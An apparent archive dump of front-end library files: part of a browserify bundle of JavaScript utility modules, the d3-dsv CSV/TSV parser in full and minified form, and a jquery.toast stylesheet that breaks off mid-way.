GetIntrinsic(r,e){if("string"!=typeof r||0===r.length)throw new $TypeError("intrinsic name must be a non-empty string");if(arguments.length>1&&"boolean"!=typeof e)throw new $TypeError('"allowMissing" argument must be a boolean');if(null===$exec(/^%?[^%]*%?$/,r))throw new $SyntaxError("`%` may not be present anywhere but at the beginning and end of the intrinsic name");var t=stringToPath(r),o=t.length>0?t[0]:"",n=getBaseIntrinsic("%"+o+"%",e),a=n.name,y=n.value,i=!1,p=n.alias;p&&(o=p[0],$spliceApply(t,$concat([0,1],p)));for(var d=1,s=!0;d<t.length;d+=1){var f=t[d],u=$strSlice(f,0,1),l=$strSlice(f,-1);if(('"'===u||"'"===u||"`"===u||'"'===l||"'"===l||"`"===l)&&u!==l)throw new $SyntaxError("property names with quotes must have matching quotes");if("constructor"!==f&&s||(i=!0),hasOwn(INTRINSICS,a="%"+(o+="."+f)+"%"))y=INTRINSICS[a];else if(null!=y){if(!(f in y)){if(!e)throw new $TypeError("base intrinsic for "+r+" exists, but the property is not available.");return}if($gOPD&&d+1>=t.length){var c=$gOPD(y,f);y=(s=!!c)&&"get"in c&&!("originalValue"in c.get)?c.get:y[f]}else s=hasOwn(y,f),y=y[f];s&&!i&&(INTRINSICS[a]=y)}}return y}; },{"11":11,"12":12,"13":13,"14":14,"15":15,"16":16,"17":17,"19":19,"23":23,"24":24,"26":26}],8:[function(require,module,exports){ "use strict";var bind=require(19),GetIntrinsic=require(20),setFunctionLength=require(28),$TypeError=require(16),$apply=GetIntrinsic("%Function.prototype.apply%"),$call=GetIntrinsic("%Function.prototype.call%"),$reflectApply=GetIntrinsic("%Reflect.apply%",!0)||bind.call($call,$apply),$defineProperty=require(10),$max=GetIntrinsic("%Math.max%");module.exports=function callBind(e){if("function"!=typeof e)throw new $TypeError("a function is required");var n=$reflectApply(bind,$call,arguments);return setFunctionLength(n,1+$max(0,e.length-(arguments.length-1)),!0)};var applyBind=function applyBind(){return $reflectApply(bind,$apply,arguments)};$defineProperty?$defineProperty(module.exports,"apply",{value:applyBind}):module.exports.apply=applyBind; },{"10":10,"16":16,"19":19,"20":20,"28":28}],16:[function(require,module,exports){ "use strict";module.exports=TypeError; },{}],19:[function(require,module,exports){ "use strict";var implementation=require(18);module.exports=Function.prototype.bind||implementation; },{"18":18}],10:[function(require,module,exports){ "use strict";var GetIntrinsic=require(20),$defineProperty=GetIntrinsic("%Object.defineProperty%",!0)||!1;if($defineProperty)try{$defineProperty({},"a",{value:1})}catch(e){$defineProperty=!1}module.exports=$defineProperty; },{"20":20}],28:[function(require,module,exports){ "use strict";var GetIntrinsic=require(20),define=require(9),hasDescriptors=require(22)(),gOPD=require(21),$TypeError=require(16),$floor=GetIntrinsic("%Math.floor%");module.exports=function setFunctionLength(e,r){if("function"!=typeof e)throw new $TypeError("`fn` is not a function");if("number"!=typeof r||r<0||r>4294967295||$floor(r)!==r)throw new $TypeError("`length` must be a positive 32-bit integer");var t=arguments.length>2&&!!arguments[2],i=!0,n=!0;if("length"in e&&gOPD){var o=gOPD(e,"length");o&&!o.configurable&&(i=!1),o&&!o.writable&&(n=!1)}return(i||n||!t)&&(hasDescriptors?define(e,"length",r,!0,!0):define(e,"length",r)),e}; },{"16":16,"20":20,"21":21,"22":22,"9":9}],9:[function(require,module,exports){ "use strict";var $defineProperty=require(10),$SyntaxError=require(15),$TypeError=require(16),gopd=require(21);module.exports=function defineDataProperty(e,r,o){if(!e||"object"!=typeof e&&"function"!=typeof e)throw new $TypeError("`obj` must be an object or a function`");if("string"!=typeof r&&"symbol"!=typeof r)throw new $TypeError("`property` must be a string or a symbol`");if(arguments.length>3&&"boolean"!=typeof arguments[3]&&null!==arguments[3])throw new $TypeError("`nonEnumerable`, if provided, must be a boolean or null");if(arguments.length>4&&"boolean"!=typeof arguments[4]&&null!==arguments[4])throw new $TypeError("`nonWritable`, if provided, must be a boolean or null");if(arguments.length>5&&"boolean"!=typeof arguments[5]&&null!==arguments[5])throw new $TypeError("`nonConfigurable`, if provided, must be a boolean or null");if(arguments.length>6&&"boolean"!=typeof arguments[6])throw new $TypeError("`loose`, if provided, must be a boolean");var n=arguments.length>3?arguments[3]:null,l=arguments.length>4?arguments[4]:null,t=arguments.length>5?arguments[5]:null,i=arguments.length>6&&arguments[6],a=!!gopd&&gopd(e,r);if($defineProperty)$defineProperty(e,r,{configurable:null===t&&a?a.configurable:!t,enumerable:null===n&&a?a.enumerable:!n,value:o,writable:null===l&&a?a.writable:!l});else{if(!i&&(n||l||t))throw new $SyntaxError("This environment does not support defining a property as non-configurable, non-writable, or non-enumerable.");e[r]=o}}; },{"10":10,"15":15,"16":16,"21":21}],15:[function(require,module,exports){ "use strict";module.exports=SyntaxError; },{}],21:[function(require,module,exports){ "use strict";var GetIntrinsic=require(20),$gOPD=GetIntrinsic("%Object.getOwnPropertyDescriptor%",!0);if($gOPD)try{$gOPD([],"length")}catch(t){$gOPD=null}module.exports=$gOPD; },{"20":20}],11:[function(require,module,exports){ "use strict";module.exports=EvalError; },{}],12:[function(require,module,exports){ "use strict";module.exports=Error; },{}],13:[function(require,module,exports){ "use strict";module.exports=RangeError; },{}],14:[function(require,module,exports){ "use strict";module.exports=ReferenceError; },{}],17:[function(require,module,exports){ "use strict";module.exports=URIError; },{}],18:[function(require,module,exports){ "use strict";var ERROR_MESSAGE="Function.prototype.bind called on incompatible ",toStr=Object.prototype.toString,max=Math.max,funcType="[object Function]",concatty=function concatty(t,n){for(var r=[],o=0;o<t.length;o+=1)r[o]=t[o];for(var e=0;e<n.length;e+=1)r[e+t.length]=n[e];return r},slicy=function slicy(t,n){for(var r=[],o=n||0,e=0;o<t.length;o+=1,e+=1)r[e]=t[o];return r},joiny=function(t,n){for(var r="",o=0;o<t.length;o+=1)r+=t[o],o+1<t.length&&(r+=n);return r};module.exports=function bind(t){var n=this;if("function"!=typeof n||toStr.apply(n)!==funcType)throw new TypeError(ERROR_MESSAGE+n);for(var r,o=slicy(arguments,1),e=max(0,n.length-o.length),i=[],c=0;c<e;c++)i[c]="$"+c;if(r=Function("binder","return function ("+joiny(i,",")+"){ return binder.apply(this,arguments); }")((function(){if(this instanceof r){var e=n.apply(this,concatty(o,arguments));return Object(e)===e?e:this}return n.apply(t,concatty(o,arguments))})),n.prototype){var p=function Empty(){};p.prototype=n.prototype,r.prototype=new p,p.prototype=null}return r}; },{}],23:[function(require,module,exports){ "use strict";var test={__proto__:null,foo:{}},$Object=Object;module.exports=function hasProto(){return{__proto__:test}.foo===test.foo&&!(test instanceof $Object)}; },{}],26:[function(require,module,exports){ "use strict";var call=Function.prototype.call,$hasOwn=Object.prototype.hasOwnProperty,bind=require(19);module.exports=bind.call(call,$hasOwn); },{"19":19}],24:[function(require,module,exports){ "use strict";var origSymbol="undefined"!=typeof Symbol&&Symbol,hasSymbolSham=require(25);module.exports=function hasNativeSymbols(){return"function"==typeof origSymbol&&"function"==typeof Symbol&&"symbol"==typeof origSymbol("foo")&&"symbol"==typeof Symbol("bar")&&hasSymbolSham()}; },{"25":25}],22:[function(require,module,exports){ "use strict";var $defineProperty=require(10),hasPropertyDescriptors=function hasPropertyDescriptors(){return!!$defineProperty};hasPropertyDescriptors.hasArrayLengthDefineBug=function hasArrayLengthDefineBug(){if(!$defineProperty)return null;try{return 1!==$defineProperty([],"length",{value:1}).length}catch(r){return!0}},module.exports=hasPropertyDescriptors; },{"10":10}],25:[function(require,module,exports){ "use strict";module.exports=function hasSymbols(){if("function"!=typeof Symbol||"function"!=typeof Object.getOwnPropertySymbols)return!1;if("symbol"==typeof Symbol.iterator)return!0;var t={},e=Symbol("test"),r=Object(e);if("string"==typeof e)return!1;if("[object Symbol]"!==Object.prototype.toString.call(e))return!1;if("[object Symbol]"!==Object.prototype.toString.call(r))return!1;for(e in t[e]=42,t)return!1;if("function"==typeof Object.keys&&0!==Object.keys(t).length)return!1;if("function"==typeof Object.getOwnPropertyNames&&0!==Object.getOwnPropertyNames(t).length)return!1;var o=Object.getOwnPropertySymbols(t);if(1!==o.length||o[0]!==e)return!1;if(!Object.prototype.propertyIsEnumerable.call(t,e))return!1;if("function"==typeof Object.getOwnPropertyDescriptor){var n=Object.getOwnPropertyDescriptor(t,e);if(42!==n.value||!0!==n.enumerable)return!1}return!0}; },{}],27:[function(require,module,exports){ (function (global){(function (){ var hasMap="function"==typeof Map&&Map.prototype,mapSizeDescriptor=Object.getOwnPropertyDescriptor&&hasMap?Object.getOwnPropertyDescriptor(Map.prototype,"size"):null,mapSize=hasMap&&mapSizeDescriptor&&"function"==typeof mapSizeDescriptor.get?mapSizeDescriptor.get:null,mapForEach=hasMap&&Map.prototype.forEach,hasSet="function"==typeof Set&&Set.prototype,setSizeDescriptor=Object.getOwnPropertyDescriptor&&hasSet?Object.getOwnPropertyDescriptor(Set.prototype,"size"):null,setSize=hasSet&&setSizeDescriptor&&"function"==typeof setSizeDescriptor.get?setSizeDescriptor.get:null,setForEach=hasSet&&Set.prototype.forEach,hasWeakMap="function"==typeof WeakMap&&WeakMap.prototype,weakMapHas=hasWeakMap?WeakMap.prototype.has:null,hasWeakSet="function"==typeof WeakSet&&WeakSet.prototype,weakSetHas=hasWeakSet?WeakSet.prototype.has:null,hasWeakRef="function"==typeof WeakRef&&WeakRef.prototype,weakRefDeref=hasWeakRef?WeakRef.prototype.deref:null,booleanValueOf=Boolean.prototype.valueOf,objectToString=Object.prototype.toString,functionToString=Function.prototype.toString,$match=String.prototype.match,$slice=String.prototype.slice,$replace=String.prototype.replace,$toUpperCase=String.prototype.toUpperCase,$toLowerCase=String.prototype.toLowerCase,$test=RegExp.prototype.test,$concat=Array.prototype.concat,$join=Array.prototype.join,$arrSlice=Array.prototype.slice,$floor=Math.floor,bigIntValueOf="function"==typeof BigInt?BigInt.prototype.valueOf:null,gOPS=Object.getOwnPropertySymbols,symToString="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?Symbol.prototype.toString:null,hasShammedSymbols="function"==typeof Symbol&&"object"==typeof Symbol.iterator,toStringTag="function"==typeof Symbol&&Symbol.toStringTag&&(Symbol.toStringTag,1)?Symbol.toStringTag:null,isEnumerable=Object.prototype.propertyIsEnumerable,gPO=("function"==typeof Reflect?Reflect.getPrototypeOf:Object.getPrototypeOf)||([].__proto__===Array.prototype?function(t){return t.__proto__}:null);function addNumericSeparator(t,e){if(t===1/0||t===-1/0||t!=t||t&&t>-1e3&&t<1e3||$test.call(/e/,e))return e;var r=/[0-9](?=(?:[0-9]{3})+(?![0-9]))/g;if("number"==typeof t){var n=t<0?-$floor(-t):$floor(t);if(n!==t){var o=String(n),i=$slice.call(e,o.length+1);return $replace.call(o,r,"$&_")+"."+$replace.call($replace.call(i,/([0-9]{3})/g,"$&_"),/_$/,"")}}return $replace.call(e,r,"$&_")}var utilInspect=require(6),inspectCustom=utilInspect.custom,inspectSymbol=isSymbol(inspectCustom)?inspectCustom:null;function wrapQuotes(t,e,r){var n="double"===(r.quoteStyle||e)?'"':"'";return n+t+n}function quote(t){return $replace.call(String(t),/"/g,""")}function isArray(t){return!("[object Array]"!==toStr(t)||toStringTag&&"object"==typeof t&&toStringTag in t)}function isDate(t){return!("[object Date]"!==toStr(t)||toStringTag&&"object"==typeof t&&toStringTag in t)}function isRegExp(t){return!("[object RegExp]"!==toStr(t)||toStringTag&&"object"==typeof t&&toStringTag in t)}function isError(t){return!("[object Error]"!==toStr(t)||toStringTag&&"object"==typeof t&&toStringTag in t)}function isString(t){return!("[object String]"!==toStr(t)||toStringTag&&"object"==typeof t&&toStringTag in t)}function isNumber(t){return!("[object Number]"!==toStr(t)||toStringTag&&"object"==typeof t&&toStringTag in t)}function isBoolean(t){return!("[object Boolean]"!==toStr(t)||toStringTag&&"object"==typeof t&&toStringTag in t)}function isSymbol(t){if(hasShammedSymbols)return t&&"object"==typeof t&&t instanceof Symbol;if("symbol"==typeof t)return!0;if(!t||"object"!=typeof t||!symToString)return!1;try{return symToString.call(t),!0}catch(t){}return!1}function isBigInt(t){if(!t||"object"!=typeof t||!bigIntValueOf)return!1;try{return bigIntValueOf.call(t),!0}catch(t){}return!1}module.exports=function inspect_(t,e,r,n){var o=e||{};if(has(o,"quoteStyle")&&"single"!==o.quoteStyle&&"double"!==o.quoteStyle)throw new TypeError('option "quoteStyle" must be "single" or "double"');if(has(o,"maxStringLength")&&("number"==typeof o.maxStringLength?o.maxStringLength<0&&o.maxStringLength!==1/0:null!==o.maxStringLength))throw new TypeError('option "maxStringLength", if provided, must be a positive integer, Infinity, or `null`');var i=!has(o,"customInspect")||o.customInspect;if("boolean"!=typeof i&&"symbol"!==i)throw new TypeError("option \"customInspect\", if provided, must be `true`, `false`, or `'symbol'`");if(has(o,"indent")&&null!==o.indent&&"\t"!==o.indent&&!(parseInt(o.indent,10)===o.indent&&o.indent>0))throw new TypeError('option "indent" must be "\\t", an integer > 0, or `null`');if(has(o,"numericSeparator")&&"boolean"!=typeof o.numericSeparator)throw new TypeError('option "numericSeparator", if provided, must be `true` or `false`');var a=o.numericSeparator;if(void 0===t)return"undefined";if(null===t)return"null";if("boolean"==typeof t)return t?"true":"false";if("string"==typeof t)return inspectString(t,o);if("number"==typeof t){if(0===t)return 1/0/t>0?"0":"-0";var c=String(t);return a?addNumericSeparator(t,c):c}if("bigint"==typeof t){var l=String(t)+"n";return a?addNumericSeparator(t,l):l}var p=void 0===o.depth?5:o.depth;if(void 0===r&&(r=0),r>=p&&p>0&&"object"==typeof t)return isArray(t)?"[Array]":"[Object]";var u=getIndent(o,r);if(void 0===n)n=[];else if(indexOf(n,t)>=0)return"[Circular]";function inspect(t,e,i){if(e&&(n=$arrSlice.call(n)).push(e),i){var a={depth:o.depth};return has(o,"quoteStyle")&&(a.quoteStyle=o.quoteStyle),inspect_(t,a,r+1,n)}return inspect_(t,o,r+1,n)}if("function"==typeof t&&!isRegExp(t)){var s=nameOf(t),f=arrObjKeys(t,inspect);return"[Function"+(s?": "+s:" (anonymous)")+"]"+(f.length>0?" { "+$join.call(f,", ")+" }":"")}if(isSymbol(t)){var y=hasShammedSymbols?$replace.call(String(t),/^(Symbol\(.*\))_[^)]*$/,"$1"):symToString.call(t);return"object"!=typeof t||hasShammedSymbols?y:markBoxed(y)}if(isElement(t)){for(var S="<"+$toLowerCase.call(String(t.nodeName)),g=t.attributes||[],m=0;m<g.length;m++)S+=" "+g[m].name+"="+wrapQuotes(quote(g[m].value),"double",o);return S+=">",t.childNodes&&t.childNodes.length&&(S+="..."),S+"</"+$toLowerCase.call(String(t.nodeName))+">"}if(isArray(t)){if(0===t.length)return"[]";var b=arrObjKeys(t,inspect);return u&&!singleLineValues(b)?"["+indentedJoin(b,u)+"]":"[ "+$join.call(b,", ")+" ]"}if(isError(t)){var h=arrObjKeys(t,inspect);return"cause"in Error.prototype||!("cause"in t)||isEnumerable.call(t,"cause")?0===h.length?"["+String(t)+"]":"{ ["+String(t)+"] "+$join.call(h,", ")+" }":"{ ["+String(t)+"] "+$join.call($concat.call("[cause]: "+inspect(t.cause),h),", ")+" }"}if("object"==typeof t&&i){if(inspectSymbol&&"function"==typeof t[inspectSymbol]&&utilInspect)return utilInspect(t,{depth:p-r});if("symbol"!==i&&"function"==typeof t.inspect)return t.inspect()}if(isMap(t)){var d=[];return mapForEach&&mapForEach.call(t,(function(e,r){d.push(inspect(r,t,!0)+" => "+inspect(e,t))})),collectionOf("Map",mapSize.call(t),d,u)}if(isSet(t)){var j=[];return setForEach&&setForEach.call(t,(function(e){j.push(inspect(e,t))})),collectionOf("Set",setSize.call(t),j,u)}if(isWeakMap(t))return weakCollectionOf("WeakMap");if(isWeakSet(t))return weakCollectionOf("WeakSet");if(isWeakRef(t))return weakCollectionOf("WeakRef");if(isNumber(t))return markBoxed(inspect(Number(t)));if(isBigInt(t))return markBoxed(inspect(bigIntValueOf.call(t)));if(isBoolean(t))return markBoxed(booleanValueOf.call(t));if(isString(t))return markBoxed(inspect(String(t)));if("undefined"!=typeof window&&t===window)return"{ [object Window] }";if(t===global)return"{ [object globalThis] }";if(!isDate(t)&&!isRegExp(t)){var O=arrObjKeys(t,inspect),w=gPO?gPO(t)===Object.prototype:t instanceof Object||t.constructor===Object,$=t instanceof Object?"":"null prototype",k=!w&&toStringTag&&Object(t)===t&&toStringTag in t?$slice.call(toStr(t),8,-1):$?"Object":"",v=(w||"function"!=typeof t.constructor?"":t.constructor.name?t.constructor.name+" ":"")+(k||$?"["+$join.call($concat.call([],k||[],$||[]),": ")+"] ":"");return 0===O.length?v+"{}":u?v+"{"+indentedJoin(O,u)+"}":v+"{ "+$join.call(O,", ")+" }"}return String(t)};var hasOwn=Object.prototype.hasOwnProperty||function(t){return t in this};function has(t,e){return hasOwn.call(t,e)}function toStr(t){return objectToString.call(t)}function nameOf(t){if(t.name)return t.name;var e=$match.call(functionToString.call(t),/^function\s*([\w$]+)/);return e?e[1]:null}function indexOf(t,e){if(t.indexOf)return t.indexOf(e);for(var r=0,n=t.length;r<n;r++)if(t[r]===e)return r;return-1}function isMap(t){if(!mapSize||!t||"object"!=typeof t)return!1;try{mapSize.call(t);try{setSize.call(t)}catch(t){return!0}return t instanceof Map}catch(t){}return!1}function isWeakMap(t){if(!weakMapHas||!t||"object"!=typeof t)return!1;try{weakMapHas.call(t,weakMapHas);try{weakSetHas.call(t,weakSetHas)}catch(t){return!0}return t instanceof WeakMap}catch(t){}return!1}function isWeakRef(t){if(!weakRefDeref||!t||"object"!=typeof t)return!1;try{return weakRefDeref.call(t),!0}catch(t){}return!1}function isSet(t){if(!setSize||!t||"object"!=typeof t)return!1;try{setSize.call(t);try{mapSize.call(t)}catch(t){return!0}return t instanceof Set}catch(t){}return!1}function isWeakSet(t){if(!weakSetHas||!t||"object"!=typeof t)return!1;try{weakSetHas.call(t,weakSetHas);try{weakMapHas.call(t,weakMapHas)}catch(t){return!0}return t instanceof WeakSet}catch(t){}return!1}function isElement(t){return!(!t||"object"!=typeof t)&&("undefined"!=typeof HTMLElement&&t instanceof HTMLElement||"string"==typeof t.nodeName&&"function"==typeof t.getAttribute)}function inspectString(t,e){if(t.length>e.maxStringLength){var r=t.length-e.maxStringLength,n="... "+r+" more character"+(r>1?"s":"");return inspectString($slice.call(t,0,e.maxStringLength),e)+n}return wrapQuotes($replace.call($replace.call(t,/(['\\])/g,"\\$1"),/[\x00-\x1f]/g,lowbyte),"single",e)}function lowbyte(t){var e=t.charCodeAt(0),r={8:"b",9:"t",10:"n",12:"f",13:"r"}[e];return r?"\\"+r:"\\x"+(e<16?"0":"")+$toUpperCase.call(e.toString(16))}function markBoxed(t){return"Object("+t+")"}function weakCollectionOf(t){return t+" { ? }"}function collectionOf(t,e,r,n){return t+" ("+e+") {"+(n?indentedJoin(r,n):$join.call(r,", "))+"}"}function singleLineValues(t){for(var e=0;e<t.length;e++)if(indexOf(t[e],"\n")>=0)return!1;return!0}function getIndent(t,e){var r;if("\t"===t.indent)r="\t";else{if(!("number"==typeof t.indent&&t.indent>0))return null;r=$join.call(Array(t.indent+1)," ")}return{base:r,prev:$join.call(Array(e+1),r)}}function indentedJoin(t,e){if(0===t.length)return"";var r="\n"+e.prev+e.base;return r+$join.call(t,","+r)+"\n"+e.prev}function arrObjKeys(t,e){var r=isArray(t),n=[];if(r){n.length=t.length;for(var o=0;o<t.length;o++)n[o]=has(t,o)?e(t[o],t):""}var i,a="function"==typeof gOPS?gOPS(t):[];if(hasShammedSymbols){i={};for(var c=0;c<a.length;c++)i["$"+a[c]]=a[c]}for(var l in t)has(t,l)&&(r&&String(Number(l))===l&&l<t.length||hasShammedSymbols&&i["$"+l]instanceof Symbol||($test.call(/[^\w$]/,l)?n.push(e(l,t)+": "+e(t[l],t)):n.push(l+": "+e(t[l],t))));if("function"==typeof gOPS)for(var p=0;p<a.length;p++)isEnumerable.call(t,a[p])&&n.push("["+e(a[p])+"]: "+e(t[a[p]],t));return n} }).call(this)}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) },{"6":6}]},{},[2])(2) }); d3-dsv.js000064400000011100151677304450006207 0ustar00// https://d3js.org/d3-dsv/ v1.0.10 Copyright 2018 Mike Bostock (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : typeof define === 'function' && define.amd ? define(['exports'], factory) : (factory((global.d3 = global.d3 || {}))); }(this, (function (exports) { 'use strict'; var EOL = {}, EOF = {}, QUOTE = 34, NEWLINE = 10, RETURN = 13; function objectConverter(columns) { return new Function("d", "return {" + columns.map(function(name, i) { return JSON.stringify(name) + ": d[" + i + "]"; }).join(",") + "}"); } function customConverter(columns, f) { var object = objectConverter(columns); return function(row, i) { return f(object(row), i, columns); }; } // Compute unique columns in order of discovery. function inferColumns(rows) { var columnSet = Object.create(null), columns = []; rows.forEach(function(row) { for (var column in row) { if (!(column in columnSet)) { columns.push(columnSet[column] = column); } } }); return columns; } function dsv(delimiter) { var reFormat = new RegExp("[\"" + delimiter + "\n\r]"), DELIMITER = delimiter.charCodeAt(0); function parse(text, f) { var convert, columns, rows = parseRows(text, function(row, i) { if (convert) return convert(row, i - 1); columns = row, convert = f ? customConverter(row, f) : objectConverter(row); }); rows.columns = columns || []; return rows; } function parseRows(text, f) { var rows = [], // output rows N = text.length, I = 0, // current character index n = 0, // current line number t, // current token eof = N <= 0, // current token followed by EOF? eol = false; // current token followed by EOL? // Strip the trailing newline. if (text.charCodeAt(N - 1) === NEWLINE) --N; if (text.charCodeAt(N - 1) === RETURN) --N; function token() { if (eof) return EOF; if (eol) return eol = false, EOL; // Unescape quotes. var i, j = I, c; if (text.charCodeAt(j) === QUOTE) { while (I++ < N && text.charCodeAt(I) !== QUOTE || text.charCodeAt(++I) === QUOTE); if ((i = I) >= N) eof = true; else if ((c = text.charCodeAt(I++)) === NEWLINE) eol = true; else if (c === RETURN) { eol = true; if (text.charCodeAt(I) === NEWLINE) ++I; } return text.slice(j + 1, i - 1).replace(/""/g, "\""); } // Find next delimiter or newline. while (I < N) { if ((c = text.charCodeAt(i = I++)) === NEWLINE) eol = true; else if (c === RETURN) { eol = true; if (text.charCodeAt(I) === NEWLINE) ++I; } else if (c !== DELIMITER) continue; return text.slice(j, i); } // Return last token before EOF. return eof = true, text.slice(j, N); } while ((t = token()) !== EOF) { var row = []; while (t !== EOL && t !== EOF) row.push(t), t = token(); if (f && (row = f(row, n++)) == null) continue; rows.push(row); } return rows; } function format(rows, columns) { if (columns == null) columns = inferColumns(rows); return [columns.map(formatValue).join(delimiter)].concat(rows.map(function(row) { return columns.map(function(column) { return formatValue(row[column]); }).join(delimiter); })).join("\n"); } function formatRows(rows) { return rows.map(formatRow).join("\n"); } function formatRow(row) { return row.map(formatValue).join(delimiter); } function formatValue(text) { return text == null ? "" : reFormat.test(text += "") ? "\"" + text.replace(/"/g, "\"\"") + "\"" : text; } return { parse: parse, parseRows: parseRows, format: format, formatRows: formatRows }; } var csv = dsv(","); var csvParse = csv.parse; var csvParseRows = csv.parseRows; var csvFormat = csv.format; var csvFormatRows = csv.formatRows; var tsv = dsv("\t"); var tsvParse = tsv.parse; var tsvParseRows = tsv.parseRows; var tsvFormat = tsv.format; var tsvFormatRows = tsv.formatRows; exports.dsvFormat = dsv; exports.csvParse = csvParse; exports.csvParseRows = csvParseRows; exports.csvFormat = csvFormat; exports.csvFormatRows = csvFormatRows; exports.tsvParse = tsvParse; exports.tsvParseRows = tsvParseRows; exports.tsvFormat = tsvFormat; exports.tsvFormatRows = tsvFormatRows; Object.defineProperty(exports, '__esModule', { value: true }); }))); d3-dsv.min.js000064400000004013151677304450006776 0ustar00// https://d3js.org/d3-dsv/ v1.0.10 Copyright 2018 Mike Bostock !function(r,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports):"function"==typeof define&&define.amd?define(["exports"],n):n(r.d3=r.d3||{})}(this,function(r){"use strict";var n={},t={},e=34,o=10,u=13;function a(r){return new Function("d","return {"+r.map(function(r,n){return JSON.stringify(r)+": d["+n+"]"}).join(",")+"}")}function c(r){var c=new RegExp('["'+r+"\n\r]"),i=r.charCodeAt(0);function f(r,a){var c,f=[],s=r.length,p=0,d=0,l=s<=0,m=!1;function v(){if(l)return t;if(m)return m=!1,n;var a,c,f=p;if(r.charCodeAt(f)===e){for(;p++<s&&r.charCodeAt(p)!==e||r.charCodeAt(++p)===e;);return(a=p)>=s?l=!0:(c=r.charCodeAt(p++))===o?m=!0:c===u&&(m=!0,r.charCodeAt(p)===o&&++p),r.slice(f+1,a-1).replace(/""/g,'"')}for(;p<s;){if((c=r.charCodeAt(a=p++))===o)m=!0;else if(c===u)m=!0,r.charCodeAt(p)===o&&++p;else if(c!==i)continue;return r.slice(f,a)}return l=!0,r.slice(f,s)}for(r.charCodeAt(s-1)===o&&--s,r.charCodeAt(s-1)===u&&--s;(c=v())!==t;){for(var h=[];c!==n&&c!==t;)h.push(c),c=v();a&&null==(h=a(h,d++))||f.push(h)}return f}function s(n){return n.map(p).join(r)}function p(r){return null==r?"":c.test(r+="")?'"'+r.replace(/"/g,'""')+'"':r}return{parse:function(r,n){var t,e,o=f(r,function(r,o){if(t)return t(r,o-1);e=r,t=n?function(r,n){var t=a(r);return function(e,o){return n(t(e),o,r)}}(r,n):a(r)});return o.columns=e||[],o},parseRows:f,format:function(n,t){return null==t&&(t=function(r){var n=Object.create(null),t=[];return r.forEach(function(r){for(var e in r)e in n||t.push(n[e]=e)}),t}(n)),[t.map(p).join(r)].concat(n.map(function(n){return t.map(function(r){return p(n[r])}).join(r)})).join("\n")},formatRows:function(r){return r.map(s).join("\n")}}}var i=c(","),f=i.parse,s=i.parseRows,p=i.format,d=i.formatRows,l=c("\t"),m=l.parse,v=l.parseRows,h=l.format,w=l.formatRows;r.dsvFormat=c,r.csvParse=f,r.csvParseRows=s,r.csvFormat=p,r.csvFormatRows=d,r.tsvParse=m,r.tsvParseRows=v,r.tsvFormat=h,r.tsvFormatRows=w,Object.defineProperty(r,"__esModule",{value:!0})}); jquery.toast.min.css000064400000010634151677306050010526 0ustar00.jq-toast-wrap,.jq-toast-wrap *{margin:0;padding:0}.jq-toast-wrap{display:block;position:fixed;width:250px;pointer-events:none!important;letter-spacing:normal;z-index:9000!important}.jq-toast-wrap.bottom-left{bottom:20px;left:20px}.jq-toast-wrap.bottom-right{bottom:20px;right:40px}.jq-toast-wrap.top-left{top:20px;left:20px}.jq-toast-wrap.top-right{top:20px;right:40px}.jq-toast-single{display:block;width:100%;padding:10px;margin:0 0 5px;border-radius:4px;font-size:12px;font-family:arial,sans-serif;line-height:17px;position:relative;pointer-events:all!important;background-color:#444;color:#fff}.jq-toast-single h2{font-family:arial,sans-serif;font-size:14px;margin:0 0 7px;background:0 0;color:inherit;line-height:inherit;letter-spacing:normal}.jq-toast-single a{color:#eee;text-decoration:none;font-weight:700;border-bottom:1px solid #fff;padding-bottom:3px;font-size:12px}.jq-toast-single ul{margin:0 0 0 15px;background:0 0;padding:0}.jq-toast-single ul li{list-style-type:disc!important;line-height:17px;background:0 0;margin:0;padding:0;letter-spacing:normal}.close-jq-toast-single{position:absolute;top:3px;right:7px;font-size:14px;cursor:pointer}.jq-toast-loader{display:block;position:absolute;top:-2px;height:5px;width:0;left:0;border-radius:5px;background:red}.jq-toast-loaded{width:100%}.jq-has-icon{padding:10px 10px 10px 50px;background-repeat:no-repeat;background-position:10px}.jq-icon-info{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGwSURBVEhLtZa9SgNBEMc9sUxxRcoUKSzSWIhXpFMhhYWFhaBg4yPYiWCXZxBLERsLRS3EQkEfwCKdjWJAwSKCgoKCcudv4O5YLrt7EzgXhiU3/4+b2ckmwVjJSpKkQ6wAi4gwhT+z3wRBcEz0yjSseUTrcRyfsHsXmD0AmbHOC9Ii8VImnuXBPglHpQ5wwSVM7sNnTG7Za4JwDdCjxyAiH3nyA2mtaTJufiDZ5dCaqlItILh1NHatfN5skvjx9Z38m69CgzuXmZgVrPIGE763Jx9qKsRozWYw6xOHdER+nn2KkO+Bb+UV5CBN6WC6QtBgbRVozrahAbmm6HtUsgtPC19tFdxXZYBOfkbmFJ1VaHA1VAHjd0pp70oTZzvR+EVrx2Ygfdsq6eu55BHYR8hlcki+n+kERUFG8BrA0BwjeAv2M8WLQBtcy+SD6fNsmnB3AlBLrgTtVW1c2QN4bVWLATaIS60J2Du5y1TiJgjSBvFVZgTmwCU+dAZFoPxGEEs8nyHC9Bwe2GvEJv2WXZb0vjdyFT4Cxk3e/kIqlOGoVLwwPevpYHT+00T+hWwXDf4AJAOUqWcDhbwAAAAASUVORK5CYII=);background-color:#31708f;color:#d9edf7;border-color:#bce8f1}.jq-icon-warning{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGYSURBVEhL5ZSvTsNQFMbXZGICMYGYmJhAQIJAICYQPAACiSDB8AiICQQJT4CqQEwgJvYASAQCiZiYmJhAIBATCARJy+9rTsldd8sKu1M0+dLb057v6/lbq/2rK0mS/TRNj9cWNAKPYIJII7gIxCcQ51cvqID+GIEX8ASG4B1bK5gIZFeQfoJdEXOfgX4QAQg7kH2A65yQ87lyxb27sggkAzAuFhbbg1K2kgCkB1bVwyIR9m2L7PRPIhDUIXgGtyKw575yz3lTNs6X4JXnjV+LKM/m3MydnTbtOKIjtz6VhCBq4vSm3ncdrD2lk0VgUXSVKjVDJXJzijW1RQdsU7F